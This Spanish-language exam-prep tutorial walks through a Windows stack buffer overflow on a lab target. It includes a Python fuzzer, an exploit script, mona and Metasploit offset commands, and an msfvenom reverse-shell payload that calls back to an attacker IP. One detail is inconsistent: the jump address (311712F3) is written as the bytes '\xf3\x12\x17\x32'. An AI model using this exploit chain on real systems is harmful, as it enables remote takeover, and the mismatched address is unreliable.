Buffer Overflow eCPPTv2

Os dejo por aquí el paso a paso (cheat sheet) para explotar un Buffer Overflow. Este artículo viene conjunto el siguiente vídeo de youtube:

Explicación Buffer Overflow

Aquí dejo un artículo de un colega que le mola mucho todo el tema de Reversing y tiene muy bien explicado las bases, historia, tipos de buffer etc, espero que os sirva.

Antes de realizar este proceso deberíamos coger el .exe que lo habremos conseguido de X manera y lo llevaremos a una máquina local Windows 10 la cual debe tener instalado los siguientes programas:

  • Immunity Debugger --> Os saldrá un registro, no hace falta que pongáis ningún dato real, solamente poned falsos y se os descargará el launcher

  • Instalar mona.py para el debugger. --> Descargad el mona.py y lo ponéis en la carpeta C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

Antes de hacer nada ejecutar este comando -->

!mona config -set workingfolder c:\mona\%p # declarar en que carpeta trabaja mona

Fuzzer

Primero vamos a necesitar el primer script de python3 que funciona cómo fuzzer, su función es probar la aplicación para ver en que bytes peta la aplicación.

Fuzzer.py

#!/usr/bin/env python3
  
import socket, time, sys
  
ip = "192.168.146.142"  
port = 9999
timeout = 1
prefix = ""
  
string = prefix + "A" * 100
  
while True:
   try:
     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
       s.settimeout(timeout)
       s.connect((ip, port))
       s.recv(1024)
       print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
       s.send(bytes(string, "latin-1"))
       s.recv(1024)
   except:
     print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
     sys.exit(0)
   string += 100 * "A"
   time.sleep(1)

Ejemplo resultado

Ejemplo de un fuzzing

Os tendría que salir lo siguiente en el debugger

El resultado del byte que peta, le tenemos que sumar +400 bytes para ir con margen, ya que si le ponemos justo los bytes que peta puede no funcionar el proceso.

Crash Replication & Controlling EIP

Ahora queremos controlar el EIP para poder darle las directrices necesarias para romper la aplicación y enviar un shellcode malicioso.

Exploit.py

Para ello necesitaremos otro script de python3

#!/usr/bin/env python3
import socket

ip = "MACHINE_IP"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

En nuestra terminal vamos a utilizar un módulo de metasploit llamado pattern_create.rb para crear una cadena más larga que la que peto el servidor (600+400 = 1000)

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

Cogemos el resultado del comando de arriba y lo ponemos en la variable payload.

Ahora nos dirigimos al Immunity Debugger y ejecutamos el siguiente comando de mona

!mona findmsp -distance 600

Sino arriba a la derecha donde pone EIP tendremos el resultado

Ejemplo

EIP obtenido

Ahora que sabemos el EIP vamos a controlarlo.

Para ello creamos un offset que es una herramienta de metasploit que estableciéndole el EIP nos da un número que es el que debemos añadir en el script de python, en la variable offset

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 35724134

El resultado es:

Este lo añadimos en el script (variable offset) y añadimos 4 B's en la variable retn.

Variables offset y retn

Ahora si ejecutamos de nuevo el script, nos debería salir el EIP con un número cómo este --> 42424242.

EIP Controlado.

Bad chars

Ahora vamos a comprobar que no haya bad chars en la aplicación, para ello primero ejecutaremos el siguiente comando en el Immunity --> !mona bytearray -b "\x00" para que tenga un archivo con el que comparar el de la aplicación, y si hay algún bad char nos lo mostraría ya que en el generado todos están correctos.

Ahora tenemos que añadir los bad chars en el script de python, para ello cogedlos del siguiente link y ponedlo en la variable payload:

Como veis no tiene el x00

Ejecutamos el script y cogemos el resultado del ESP que debería aparecer arriba a la derecha

Y ejecutamos el siguiente comando para compararlos

!mona compare -f C:\mona\brainpan\bytearray.bin -a <ESP Number>

Si aparece un badchars, solamente tenemos que quitarlo del script y del mona y volver a ejecutar.

Ejemplo

Quitamos el x0a del script y de mona.

En el Immunity modificamos el archivo bytearray y le quitamos el 0

!mona bytearray -b "\x00\x0a"

Una vez ya no haya bad chars debería no aparecer nada en la columna de badchars

No bad chars!!!

Pointer

Ahora tenemos que darle un punto de salto donde ejecutar, con este comando estaríamos buscando las instrucciones de "jmp esp" con direcciones que no contienen ningún carácter incorrecto.

!mona jmp -r esp -cpb "\x00"

Debería aparecer algo cómo esto

Ya tenemos un pointer, 311712F3

Ahora cogemos el pointer, reiniciamos el Debugger y le damos a la flecha negra y ponemos el número de pointer

Lo ejecutamos y nos tendrá que salir arriba a la izquierda un número y a la derecha FFE4 JMP ESP

Clicamos encima y le damos al F2

Y le damos al Play de nuevo.

Shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.146.128 LPORT=4444 EXITFUNC=thread -b "\x00" -f c

Cogemos el resultado y lo ponemos en la variable payload.

Y cambiamos las siguientes variables:

  • retn= "\xf3\x12\x17\x32" --> Si os fijais es el número del jmp pero al revés y con x\.

  • padding = "\x90" * 16

Dado que probablemente se utilizó un codificador para generar el payload, necesitará algo de espacio en la memoria para que el payload se descomprima. Puede hacer esto estableciendo la variable de relleno en una cadena de 16 o más bytes "Sin operación" (\x90):

Y lo ejecutamos.

Last updated